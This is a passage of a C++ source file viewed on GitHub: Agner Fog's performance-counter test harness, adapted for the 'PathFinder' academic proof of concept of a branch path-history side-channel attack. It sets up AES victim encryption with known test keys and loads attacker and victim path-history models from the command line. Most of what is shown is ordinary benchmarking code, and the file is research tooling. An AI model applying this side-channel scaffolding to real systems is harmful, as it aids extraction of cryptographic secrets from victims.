-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathPMCTestA.cpp
More file actions
executable file
·1782 lines (1593 loc) · 92.8 KB
/
PMCTestA.cpp
File metadata and controls
executable file
·1782 lines (1593 loc) · 92.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
// *****************************************
// CONFIDENTIAL SOURCE CODE, DO NOT DISTRIBUTE!
// IN SUBMISSION, ASPLOS 2024.
// *****************************************
/*
Project: PathFinder, PHR Attack Proof-of-Concept (PoC)
Author: Hosein Yavarzadeh
Email: hyavarzadeh@ucsd.edu
Affiliation: University of California, San Diego (UCSD)
*/
// *****************************************
// PMCTestA.cpp 2022-05-20 Agner Fog
//
// Multithread PMC Test program for Windows and Linux
//
//
// This program is intended for testing the performance of a little piece of
// code written in C, C++ or assembly.
// The code to test is inserted at the place marked "Test code start" in
// PMCTestB.cpp, PMCTestB32.asm or PMCTestB64.asm.
//
// In 64-bit Windows: Run as administrator, with driver signature enforcement
// off.
//
// See PMCTest.txt for further instructions.
//
// To turn on counters for use in another program, run with command line option
// startcounters
// To turn counters off again, use command line option
// stopcounters
//
// � 2000-2022 GNU General Public License v. 3. www.gnu.org/licenses
//////////////////////////////////////////////////////////////////////////////
#include "PMCTest.h"
#include <math.h>
int diagnostics = 0; // 1 for output of CPU model and PMC scheme
//////////////////////////////////////////////////////////////////////
//
// crypto function (AES enc/dec)
//
//////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <x86intrin.h>
#include "aes.h"
/* ------------- Required header files and globals for Intel-IPP ------------- */
/* ........................................................................... */
#ifdef INTEL_IPP
#include "IPP_include/ippcp.h"
#include "IPP_utils/examples_common.h"
/*! Key size in bytes */
static const int KEY_SIZE = 16;
/*! Message size in bytes */
static const int SRC_LEN = 64;
/*! Plain text */
static Ipp8u plainText[SRC_LEN] = {
0x6b,0xc1,0xbe,0xe2,0x2e,0x40,0x9f,0x96,
0xe9,0x3d,0x7e,0x11,0x73,0x93,0x17,0x2a,
0xae,0x2d,0x8a,0x57,0x1e,0x03,0xac,0x9c,
0x9e,0xb7,0x6f,0xac,0x45,0xaf,0x8e,0x51,
0x30,0xc8,0x1c,0x46,0xa3,0x5c,0xe4,0x11,
0xe5,0xfb,0xc1,0x19,0x1a,0x0a,0x52,0xef,
0xf6,0x9f,0x24,0x45,0xdf,0x4f,0x9b,0x17,
0xad,0x2b,0x41,0x7b,0xe6,0x6c,0x37,0x10
};
/*! Cipher text */
static Ipp8u cipherText[SRC_LEN] = {
0x3a,0xd7,0x7b,0xb4,0x0d,0x7a,0x36,0x60,
0xa8,0x9e,0xca,0xf3,0x24,0x66,0xef,0x97,
0xf5,0xd3,0xd5,0x85,0x03,0xb9,0x69,0x9d,
0xe7,0x85,0x89,0x5a,0x96,0xfd,0xba,0xaf,
0x43,0xb1,0xcd,0x7f,0x59,0x8e,0xce,0x23,
0x88,0x1b,0x00,0xe3,0xed,0x03,0x06,0x88,
0x7b,0x0c,0x78,0x5e,0x27,0xe8,0xad,0x3f,
0x82,0x23,0x20,0x71,0x04,0x72,0x5d,0xd4
};
/*! 128-bit secret key */
static Ipp8u key128[KEY_SIZE] = {
0x2b,0x7e,0x15,0x16,0x28,0xae,0xd2,0xa6,
0xab,0xf7,0x15,0x88,0x09,0xcf,0x4f,0x3c
};
/* Size of AES context structure. It will be set up in ippsAESGetSize(). */
int ctxSize = 0;
Ipp8u EncOut[SRC_LEN] = {};
Ipp8u DecOut[SRC_LEN] = {};
/* Internal function status */
IppStatus status = ippStsNoErr;
/* Pointer to AES context structure */
IppsAESSpec* pAES = 0;
#endif
/* ........................................................................... */
/* --------------------------------------------------------------------------- */
/* AES implementations */
extern "C" {
extern void looped(uint8_t *plaintext, uint8_t *ciphertext, AES_KEY *key);
extern void unrolled(uint8_t *plaintext, uint8_t *ciphertext, AES_KEY *key);
#ifdef INTEL_IPP
extern void l9_EncryptECB_RIJ128pipe_AES_NI(const Ipp8u* pSrc, Ipp8u* pDst, int nr, const Ipp8u* pKeys, int len);
#endif
}
/* Helper functions */
void tobinary(char *data, uint8_t *aes, size_t size);
uint8_t key[32];
uint8_t plain_text[16];
uint8_t cipher_text[16];
AES_KEY aeskey;
int crypto_function () {
// CALL YOUR VICTIM FUNCTION HERE TO READ ITS PHR ...
#ifdef INTEL_IPP
/* Encryption */
status = ippsAESEncryptECB(plainText, EncOut, sizeof(plainText), pAES);
volatile int ipp_rounds = 10;
Ipp8u* pKey = (Ipp8u*)(pAES) + 0x50;
l9_EncryptECB_RIJ128pipe_AES_NI(plainText, EncOut, ipp_rounds, pKey, sizeof(plainText));
/* Decryption */
status = ippsAESDecryptECB(EncOut, DecOut, sizeof(plainText), pAES);
/* Compare encrypted message and reference text */
if (0 != memcmp(EncOut, cipherText, sizeof(cipherText))) {
return 1;
}
#endif
return 0;
}
//////////////////////////////////////////////////////////////////////
//
// helper functions
//
//////////////////////////////////////////////////////////////////////
void tobinary(char *data, uint8_t *aes, size_t size)
{
assert(strlen(data)==size*2);
unsigned int x;
for (int i = 0; i < size; i++)
{
sscanf(data + i * 2, "%2x", &x);
aes[i] = x;
}
}
//////////////////////////////////////////////////////////////////////
//
// Thread synchronizer
//
//////////////////////////////////////////////////////////////////////
union USync {
#if MAXTHREADS > 4
int64 allflags; // for MAXTHREADS = 8
#else
int allflags; // for MAXTHREADS = 4
#endif
char flag[MAXTHREADS];
};
volatile USync TSync = {0};
// processornumber for each thread
int ProcNum[MAXTHREADS+64] = {0};
// clock correction factor for AMD Zen processor
double clockFactor[MAXTHREADS] = {0};
// number of repetitions in each thread
int repetitions;
// Create CCounters instance
CCounters MSRCounters;
//////////////////////////////////////////////////////////////////////
//
// Thread procedure
//
//////////////////////////////////////////////////////////////////////
ThreadProcedureDeclaration(ThreadProc1) {
//DWORD WINAPI ThreadProc1(LPVOID parm) {
// check thread number
unsigned int threadnum = *(unsigned int*)parm;
if (threadnum >= (unsigned int)NumThreads) {
printf("\nThread number out of range %i", threadnum);
return 0;
}
// get desired processornumber
int ProcessorNumber = ProcNum[threadnum];
// Lock process to this processor number
SyS::SetProcessMask(ProcessorNumber);
// Start MSR counters
MSRCounters.StartCounters(threadnum);
// Wait for rest of timeslice
SyS::Sleep0();
// wait for other threads
// Initialize synchronizer
USync WaitTo;
WaitTo.allflags = 0;
for (int t = 0; t < NumThreads; t++) WaitTo.flag[t] = 1;
// flag for this thead ready
TSync.flag[threadnum] = 1;
// wait for other threads to be ready
while (TSync.allflags != WaitTo.allflags) {} // Note: will wait forever if a thread is not created
// --------------------------------------
// Modify the UserData
// --------------------------------------
for (int i = 1000; i < 1200; i++){
UserData [i] = 0;
}
UserData [1200] = 4;
for (int i = 2000; i < 2200; i++){
UserData [i] = 0;
}
UserData [2200] = 4;
// --------------------------------------
// Run the test code
repetitions = TestLoop(threadnum);
// Wait for rest of timeslice
SyS::Sleep0();
// Start MSR counters
MSRCounters.StopCounters(threadnum);
return 0;
};
//////////////////////////////////////////////////////////////////////
//
// Start counters and leave them on, or stop counters
//
//////////////////////////////////////////////////////////////////////
int setcounters(int argc, char* argv[]) {
int i, cnt, thread;
int countthreads = 0;
int command = 0; // 1: start counters, 2: stop counters
if (strstr(argv[1], "startcounters")) command = 1;
else if (strstr(argv[1], "stopcounters")) command = 2;
else {
printf("\nUnknown command line parameter %s\n", argv[1]);
return 1;
}
// find counter definitions on command line, if any
if (argc > 2) {
for (i = 0; i < MAXCOUNTERS; i++) {
cnt = 0;
if (command == 2) cnt = 100; // dummy value that is valid for all CPUs
if (i + 2 < argc) cnt = atoi(argv[i+2]);
CounterTypesDesired[i] = cnt;
}
}
// Get mask of possible CPU cores
SyS::ProcMaskType ProcessAffMask = SyS::GetProcessMask();
// find all possible CPU cores
NumThreads = (int)sizeof(void*)*8;
if (NumThreads > 64) NumThreads = 64;
for (thread = 0; thread < NumThreads; thread++) {
if (SyS::TestProcessMask(thread, &ProcessAffMask)) {
ProcNum[thread] = thread;
countthreads++;
}
else {
ProcNum[thread] = -1;
}
}
// Lock processor number for each thread
MSRCounters.LockProcessor();
// Find counter defitions and put them in queue for driver
MSRCounters.QueueCounters();
// Install and load driver
int e = MSRCounters.StartDriver();
if (e) return e;
// Start MSR counters
for (thread = 0; thread < NumThreads; thread++) {
if (ProcNum[thread] >= 0) {
#if defined(__unix__) || defined(__linux__)
// get desired processornumber
int ProcessorNumber = ProcNum[thread];
// Lock process to this processor number
SyS::SetProcessMask(ProcessorNumber);
#else
// In Windows, the thread number needs only be fixed inside the driver
#endif
if (command == 1) {
MSRCounters.StartCounters(thread);
}
else {
MSRCounters.StopCounters(thread);
}
}
}
// Clean up driver
MSRCounters.CleanUp();
// print output
if (command == 1) {
printf("\nEnabled %i counters in each of %i CPU cores", NumCounters, countthreads);
printf("\n\nPMC number: Counter name:");
for (i = 0; i < NumCounters; i++) {
printf("\n0x%08X %-10s ", Counters[i], MSRCounters.CounterNames[i]);
}
}
else {
printf("\nDisabled %i counters in each of %i CPU cores", NumCounters, countthreads);
}
printf("\n");
return 0;
}
//////////////////////////////////////////////////////////////////////
//
// Main
//
//////////////////////////////////////////////////////////////////////
int main(int argc, char* argv[]) {
int repi; // repetition counter
int i; // loop counter
int t; // thread counter
int e; // error number
int procthreads; // number of threads supported by processor
/* Taking Inputs like PHR_Shift, PHR Model, and etc. */
/* ----------------------------------------------------------- */
if (argc > 1) {
if (strstr(argv[1], "diagnostics")) {
diagnostics = 1;
} else {
// Handling inputs (parameters)
if (argc == 1) {
printf("argv[1] -> SHIFT_PHR\nargv[2:195] -> PHR_MODEL\nargv[196:389] -> Victim_PHR_MODEL\n");
return 1;
}
// SHIFT PHR Variable
UserData[100] = (unsigned char)atoi(argv[1]);
// PHR Model
for (int i = 0; i <= 193; i++) {
UserData[400+i] = (unsigned char)atoi(argv[195-i]);
}
UserData[594]=4;
// Victim PHR Model
for (int i = 0; i <= 193; i++) {
UserData[600+i] = (unsigned char)atoi(argv[389-i]);
}
UserData[794]=4;
}
}
/* ----------------------------------------------------------- */
/* ------------------ Required Initilizations for Intel-IPP ------------------ */
/* ........................................................................... */
#ifdef INTEL_IPP
/* Set AES Enc/Dec Key */
/* ----------------------------------------------------------- */
// Test vectors: https://csrc.nist.gov/CSRC/media/Projects/Cryptographic-Algorithm-Validation-Program/documents/aes/AESAVS.pdf
// Expected output: 46f2fb342d6f0ab477476fc501242c5f
tobinary("c47b0294dbbbee0fec4757f22ffeee3587ca4730c3d33b691df38bab076bc558", key, 32);
AES_set_encrypt_key(key, 192, &aeskey);
// Plaintext
tobinary("00000000000000000000000000000000", plain_text, 16);
/* ----------------------------------------------------------- */
do {
/* 1. Get size needed for AES context structure */
status = ippsAESGetSize(&ctxSize);
/* 2. Allocate memory for AES context structure */
pAES = (IppsAESSpec*)(new Ipp8u[ctxSize]);
/* 3. Initialize AES context */
status = ippsAESInit(key128, sizeof(key128), pAES, ctxSize);
} while (0);
#endif
/* ........................................................................... */
/* --------------------------------------------------------------------------- */
// Limit number of threads
if (NumThreads > MAXTHREADS) {
NumThreads = MAXTHREADS;
printf("\nToo many threads");
}
if (NumThreads < 1) NumThreads = 1;
// Get mask of possible CPU cores
SyS::ProcMaskType ProcessAffMask = SyS::GetProcessMask();
// Count possible threads
int maxProcThreads = (int)sizeof(void*)*8;
if (maxProcThreads > 64) maxProcThreads = 64;
for (procthreads = i = 0; i < maxProcThreads; i++) {
if (SyS::TestProcessMask(i, &ProcessAffMask)) procthreads++;
}
// Fix a processornumber for each thread
int proc0 = 0;
while (!SyS::TestProcessMask(proc0, &ProcessAffMask)) proc0++; // check if proc0 is available
for (t = 0, i = NumThreads-1; t < NumThreads; t++, i--) {
// make processornumbers different, and last thread = MainThreadProcNum:
// ProcNum[t] = MainThreadProcNum ^ i;
if (procthreads < 4) {
ProcNum[t] = i + proc0;
}
else {
ProcNum[t] = (i % 2) * (procthreads/2) + i / 2 + proc0;
}
if (!SyS::TestProcessMask(ProcNum[t], &ProcessAffMask)) {
// this processor core is not available
printf("\nProcessor %i not available. Processors available:\n", ProcNum[t]);
for (int p = 0; p < MAXTHREADS; p++) {
if (SyS::TestProcessMask(p, &ProcessAffMask)) printf("%i ", p);
}
printf("\n");
return 1;
}
}
// Make program and driver use the same processor number
MSRCounters.LockProcessor();
// Find counter defitions and put them in queue for driver
MSRCounters.QueueCounters();
if (diagnostics) return 0; // just return CPU info, don't run test
// Install and load driver
e = MSRCounters.StartDriver();
// Set high priority to minimize risk of interrupts during test
SyS::SetProcessPriorityHigh();
// Make multiple threads
ThreadHandler Threads;
Threads.Start(NumThreads);
// Stop threads
Threads.Stop();
// Set priority back normal
SyS::SetProcessPriorityNormal();
// Clean up
MSRCounters.CleanUp();
// Print results
for (t = 0; t < NumThreads; t++) {
// calculate offsets into ThreadData[]
int TOffset = t * (ThreadDataSize / sizeof(int));
int ClockOS = ClockResultsOS / sizeof(int);
int PMCOS = PMCResultsOS / sizeof(int);
// print column headings
/*
if (NumThreads > 1) printf("\nProcessor %i", ProcNum[t]);
printf("\n Clock ");
if (UsePMC) {
if (MSRCounters.MScheme == S_AMD2) {
printf("%10s ", "Corrected");
}
for (i = 0; i < NumCounters; i++) {
printf("%10s ", MSRCounters.CounterNames[i]);
}
}
if (RatioOut[0]) printf("%10s ", RatioOutTitle ? RatioOutTitle : "Ratio");
if (TempOut) printf("%10s ", TempOutTitle ? TempOutTitle : "Extra out");
*/
// print counter outputs
for (repi = 0; repi < repetitions; repi++) {
int tscClock = PThreadData[repi+TOffset+ClockOS];
printf("\n");
if (UsePMC) {
if (MSRCounters.MScheme == S_AMD2) {
printf("%10i ", int(tscClock * clockFactor[t] + 0.5)); // Calculated core clock count
}
for (i = 0; i < NumCounters; i++) {
printf("%10i ", PThreadData[repi+i*repetitions+TOffset+PMCOS]);
}
}
// optional ratio output
if (RatioOut[0]) {
union {
int i;
float f;
} factor;
factor.i = RatioOut[3];
int a, b;
if (RatioOut[1] == 0) {
a = PThreadData[repi+TOffset+ClockOS];
if (MSRCounters.MScheme == S_AMD2) a = int(a * clockFactor[t] + 0.5); // Calculated core clock count
}
else if ((unsigned int)RatioOut[1] <= (unsigned int)NumCounters) {
a = PThreadData[repi+(RatioOut[1]-1)*repetitions+TOffset+PMCOS];
}
else {
a = 1;
}
if (RatioOut[2] == 0) {
b = PThreadData[repi+TOffset+ClockOS];
if (MSRCounters.MScheme == S_AMD2) b = int(b * clockFactor[t] + 0.5); // Calculated core clock count
}
else if ((unsigned int)RatioOut[2] <= (unsigned int)NumCounters) {
b = PThreadData[repi+(RatioOut[2]-1)*repetitions+TOffset+PMCOS];
}
else {
b = 1;
}
if (b == 0) {
printf("%10s", "inf");
}
else if (RatioOut[0] == 1) {
printf("%10i ", factor.i * a / b);
}
else {
printf("%10.6f ", factor.f * (double)a / (double)b);
}
}
// optional arbitrary output
if (TempOut) {
union {
int * pi;
int64 * pl;
float * pf;
double * pd;
} pu;
pu.pi = PThreadData + repi + TOffset; // pointer to CountTemp
if (TempOut & 1) pu.pi += repi; // double size
switch (TempOut) {
case 2: // int
printf("%10i", *pu.pi); break;
case 3: // 64 bit int
printf("%10lli", *pu.pl); break;
case 4: // hexadecimal int
printf("0x%08X", *pu.pi); break;
case 5: // hexadecimal 64-bit int
printf("0x%08X%08X", pu.pi[1], pu.pi[0]); break;
case 6: // float
printf("%10.6f", *pu.pf); break;
case 7: // double
printf("%10.6f", *pu.pd); break;
case 8: // float, corrected for clock factor
printf("%10.6f", *pu.pf/clockFactor[t]); break;
default:
printf("unknown TempOut %i", TempOut);
}
}
}
if (MSRCounters.MScheme == S_AMD2) {
printf("\nClock factor %.4f", clockFactor[t]);
}
}
printf("\n");
// Optional: wait for key press
//printf("\npress any key");
//getch();
// Exit
return 0;
}
//////////////////////////////////////////////////////////////////////////////
//
// CMSRInOutQue class member functions
//
//////////////////////////////////////////////////////////////////////////////
// Constructor
CMSRInOutQue::CMSRInOutQue() {
n = 0;
for (int i = 0; i < MAX_QUE_ENTRIES+1; i++) {
queue[i].msr_command = MSR_STOP;
}
}
// Put data record in queue
int CMSRInOutQue::put (EMSR_COMMAND msr_command, unsigned int register_number, unsigned int value_lo, unsigned int value_hi) {
if (n >= MAX_QUE_ENTRIES) return -10;
queue[n].msr_command = msr_command;
queue[n].register_number = register_number;
queue[n].val[0] = value_lo;
queue[n].val[1] = value_hi;
n++;
return 0;
}
//////////////////////////////////////////////////////////////////////////////
//
// CCounters class member functions
//
//////////////////////////////////////////////////////////////////////////////
// Constructor
CCounters::CCounters() {
// Set everything to zero
MVendor = VENDOR_UNKNOWN;
MFamily = PRUNKNOWN;
MScheme = S_UNKNOWN;
NumPMCs = 0;
NumFixedPMCs = 0;
ProcessorNumber = 0;
for (int i = 0; i < MAXCOUNTERS; i++) CounterNames[i] = 0;
}
void CCounters::QueueCounters() {
// Put counter definitions in queue
int n = 0, CounterType;
const char * err;
while (CounterDefinitions[n].ProcessorFamily || CounterDefinitions[n].CounterType) n++;
NumCounterDefinitions = n;
// Get processor information
GetProcessorVendor(); // get microprocessor vendor
GetProcessorFamily(); // get microprocessor family
GetPMCScheme(); // get PMC scheme
if (UsePMC) {
// Get all counter requests
for (int i = 0; i < MaxNumCounters; i++) {
CounterType = CounterTypesDesired[i];
err = DefineCounter(CounterType);
if (err) {
printf("\nCannot make counter %i. %s\n", i+1, err);
}
}
if (MScheme == S_AMD2) {
// AMD Zen processor has a core clock counter called APERF
// which is only accessible in the driver.
// Read TSC and APERF in the driver before and after the test.
// This value is used for adjusting the clock count
for (int thread=0; thread < NumThreads; thread++) {
queue1[thread].put(MSR_READ, rTSCounter, thread);
queue1[thread].put(MSR_READ, rCoreCounter, thread);
//queue1[thread].put(MSR_READ, rMPERF, 0);
queue2[thread].put(MSR_READ, rTSCounter, thread);
queue2[thread].put(MSR_READ, rCoreCounter, thread);
//queue2[thread].put(MSR_READ, rMPERF, 0);
}
}
}
}
void CCounters::LockProcessor() {
// Make program and driver use the same processor number if multiple processors
// Enable RDMSR instruction
int thread, procnum;
// We must lock the driver call to the desired processor number
for (thread = 0; thread < NumThreads; thread++) {
procnum = ProcNum[thread];
if (procnum >= 0) {
// lock driver to the same processor number as thread
queue1[thread].put(PROC_SET, 0, procnum);
queue2[thread].put(PROC_SET, 0, procnum);
// enable readpmc instruction (for this processor number)
queue1[thread].put(PMC_ENABLE, 0, 0);
// disable readpmc instruction after run
queue2[thread].put(PMC_DISABLE, 0, 0); // This causes segmentation fault on AMD when thread hopping. Why is the processor not properly locked?
}
}
}
int CCounters::StartDriver() {
// Install and load driver
// return error code
int ErrNo = 0;
if (UsePMC /*&& !diagnostics*/) {
// Load driver
ErrNo = msr.LoadDriver();
}
return ErrNo;
}
void CCounters::CleanUp() {
// Things to do after measuring
// Calculate clock correction factors for AMD Zen
for (int thread = 0; thread < NumThreads; thread++) {
if (MScheme == S_AMD2) {
long long tscount, corecount;
tscount = MSRCounters.read2(rTSCounter, thread) - MSRCounters.read1(rTSCounter, thread);
corecount = MSRCounters.read2(rCoreCounter, thread) - MSRCounters.read1(rCoreCounter, thread);
clockFactor[thread] = double(corecount) / double(tscount);
}
else {
clockFactor[thread] = 1.0;
}
}
// Any required cleanup of driver etc
// Optionally unload driver
//msr.UnloadDriver();
//msr.UnInstallDriver();
}
// put record into multiple start queues
void CCounters::Put1 (int num_threads,
EMSR_COMMAND msr_command, unsigned int register_number,
unsigned int value_lo, unsigned int value_hi) {
for (int t = 0; t < num_threads; t++) {
queue1[t].put(msr_command, register_number, value_lo, value_hi);
}
}
// put record into multiple stop queues
void CCounters::Put2 (int num_threads,
EMSR_COMMAND msr_command, unsigned int register_number,
unsigned int value_lo, unsigned int value_hi) {
for (int t = 0; t < num_threads; t++) {
queue2[t].put(msr_command, register_number, value_lo, value_hi);
}
}
// get value from previous MSR_READ command in queue1
long long CCounters::read1(unsigned int register_number, int thread) {
for(int i=0; i < queue1[thread].GetSize(); i++) {
if (queue1[thread].queue[i].msr_command == MSR_READ && queue1[thread].queue[i].register_number == register_number) {
return queue1[thread].queue[i].value;
}
}
return 0; // not found
}
// get value from previous MSR_READ command in queue1
long long CCounters::read2(unsigned int register_number, int thread) {
for(int i=0; i < queue2[thread].GetSize(); i++) {
if (queue2[thread].queue[i].msr_command == MSR_READ && queue1[thread].queue[i].register_number == register_number) {
return queue2[thread].queue[i].value;
}
}
return 0; // not found
}
// Start counting
void CCounters::StartCounters(int ThreadNum) {
if (UsePMC) {
msr.AccessRegisters(queue1[ThreadNum]);
}
}
// Stop and reset counters
void CCounters::StopCounters(int ThreadNum) {
if (UsePMC) {
msr.AccessRegisters(queue2[ThreadNum]);
}
}
void CCounters::GetProcessorVendor() {
// get microprocessor vendor
int CpuIdOutput[4];
// Call cpuid function 0
Cpuid(CpuIdOutput, 0);
// Interpret vendor string
MVendor = VENDOR_UNKNOWN;
if (CpuIdOutput[2] == 0x6C65746E) MVendor = INTEL; // Intel "GenuineIntel"
if (CpuIdOutput[2] == 0x444D4163) MVendor = AMD; // AMD "AuthenticAMD"
if (CpuIdOutput[1] == 0x746E6543) MVendor = VIA; // VIA "CentaurHauls"
if (diagnostics) {
printf("\nVendor = %X", MVendor);
}
}
void CCounters::GetProcessorFamily() {
// get microprocessor family
int CpuIdOutput[4];
int Family, Model;
MFamily = PRUNKNOWN; // default = unknown
// Call cpuid function 0
Cpuid(CpuIdOutput, 0);
if (CpuIdOutput[0] == 0) return; // cpuid function 1 not supported
// call cpuid function 1 to get family and model number
Cpuid(CpuIdOutput, 1);
Family = ((CpuIdOutput[0] >> 8) & 0x0F) + ((CpuIdOutput[0] >> 20) & 0xFF); // family code
Model = ((CpuIdOutput[0] >> 4) & 0x0F) | ((CpuIdOutput[0] >> 12) & 0xF0); // model code
// printf("\nCPU family 0x%X, model 0x%X\n", Family, Model);
if (MVendor == INTEL) {
// Intel processor
if (Family < 5) MFamily = PRUNKNOWN; // less than Pentium
if (Family == 5) MFamily = INTEL_P1MMX; // pentium 1 or mmx
if (Family == 0x0F) MFamily = INTEL_P4; // pentium 4 or other netburst
if (Family == 6) {
switch(Model) { // list of known Intel families with different performance monitoring event tables
case 0x09: case 0x0D:
MFamily = INTEL_PM; break; // Pentium M
case 0x0E:
MFamily = INTEL_CORE; break; // Core 1
case 0x0F: case 0x16:
MFamily = INTEL_CORE2; break; // Core 2, 65 nm
case 0x17: case 0x1D:
MFamily = INTEL_CORE2; break; // Core 2, 45 nm
case 0x1A: case 0x1E: case 0x1F: case 0x2E:
MFamily = INTEL_7; break; // Nehalem
case 0x25: case 0x2C: case 0x2F:
MFamily = INTEL_7; break; // Westmere
case 0x2A: case 0x2D:
MFamily = INTEL_IVY; break; // Sandy Bridge
case 0x3A: case 0x3E:
MFamily = INTEL_IVY; break; // Ivy Bridge
case 0x3C: case 0x3F: case 0x45: case 0x46:
MFamily = INTEL_HASW; break; // Haswell
case 0x3D: case 0x47: case 0x4F: case 0x56:
MFamily = INTEL_HASW; break; // Broadwell
case 0x5E: case 0x55:
MFamily = INTEL_SKYL; break; // Skylake
case 0x8C:
MFamily = INTEL_ICE; break; // Ice Lake, Tiger Lake
case 0x97: case 0x9A:
MFamily = INTEL_GOLDCV; break; // Alder Lake, Golden Cove
// low power processors:
case 0x1C: case 0x26: case 0x27: case 0x35: case 0x36:
MFamily = INTEL_ATOM; break; // Atom
case 0x37: case 0x4A: case 0x4D:
MFamily = INTEL_SILV; break; // Silvermont
case 0x5C: case 0x5F: case 0x7A:
MFamily = INTEL_GOLDM; break; // Goldmont
case 0x57:
MFamily = INTEL_KNIGHT; break; // Knights Landing
// unknown and future
default:
MFamily = INTEL_P23; // Pentium 2 or 3
if (Model >= 0x3C) MFamily = INTEL_HASW; // Haswell
if (Model >= 0x5E) MFamily = INTEL_SKYL; // Skylake
if (Model >= 0x7E) MFamily = INTEL_ICE; // Ice Lake
if (Model >= 0x97) MFamily = INTEL_GOLDCV; // Golden Cove
}
}
}
if (MVendor == AMD) {
// AMD processor
MFamily = PRUNKNOWN; // old or unknown AMD
if (Family == 6) MFamily = AMD_ATHLON; // AMD Athlon
if (Family >= 0x0F && Family <= 0x14) {
MFamily = AMD_ATHLON64; // Athlon 64, Opteron, etc
}
if (Family >= 0x15) MFamily = AMD_BULLD; // Family 15h
if (Family >= 0x17) MFamily = AMD_ZEN; // Family 17h
}
if (MVendor == VIA) {
// VIA processor
if (Family == 6 && Model >= 0x0F) MFamily = VIA_NANO; // VIA Nano
}
if (diagnostics) {
printf(" Family %X, Model %X, MFamily %X", Family, Model, MFamily);
}
}
void CCounters::GetPMCScheme() {
// get PMC scheme
// Default values
MScheme = S_UNKNOWN;
NumPMCs = 2;
NumFixedPMCs = 0;
if (MVendor == AMD) {
// AMD processor
MScheme = S_AMD;
NumPMCs = 4;
int CpuIdOutput[4];
Cpuid(CpuIdOutput, 6); // Call cpuid function 6
if (CpuIdOutput[2] & 1) { // APERF AND MPERF counters present
Cpuid(CpuIdOutput, 0x80000001); // Call cpuid function 0x80000001
if (CpuIdOutput[2] & (1 << 28)) { // L3 performance counter extensions
MScheme = S_AMD2; // AMD Zen scheme
NumPMCs = 6; // 6 counters
rTSCounter = 0x00000010; // PMC register number of time stamp counter in S_AMD2 scheme
rCoreCounter = 0xC00000E8; // PMC register number of core clock counter in S_AMD2 scheme
// rMPERF = 0xC00000E7
}
}
}
if (MVendor == VIA) {
// VIA processor
MScheme = S_VIA;
}
if (MVendor == INTEL) {
// Intel processor
int CpuIdOutput[4];
// Call cpuid function 0
Cpuid(CpuIdOutput, 0);
if (CpuIdOutput[0] >= 0x0A) {
